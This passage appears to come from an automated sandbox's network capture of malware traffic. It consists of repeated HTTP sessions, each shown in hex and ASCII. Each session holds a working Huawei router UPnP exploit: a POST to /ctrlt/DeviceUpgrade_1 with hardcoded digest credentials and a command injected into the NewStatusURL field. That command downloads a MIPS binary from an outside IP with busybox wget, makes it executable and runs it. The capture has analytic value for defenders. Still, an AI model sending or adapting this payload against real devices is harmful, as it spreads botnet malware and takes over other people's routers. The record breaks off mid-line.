3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:15.343175888 CET	2541	IN	HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD Date: Tue, 04 Jan 2000 01:59:23 GMT EXT: Content-Length: 259

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	156.230.18.22	37215	192.168.2.23	38764

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:16.175381899 CET	2570	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:17.824045897 CET	2601	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:19.775875092 CET	2656	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:23.647248983 CET	2767	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:31.582248926 CET	2958	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	38764	156.230.18.22	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:16.175381899 CET	2570	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:17.824045897 CET	2601	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:19.775875092 CET	2656	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:23.647248983 CET	2767	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo 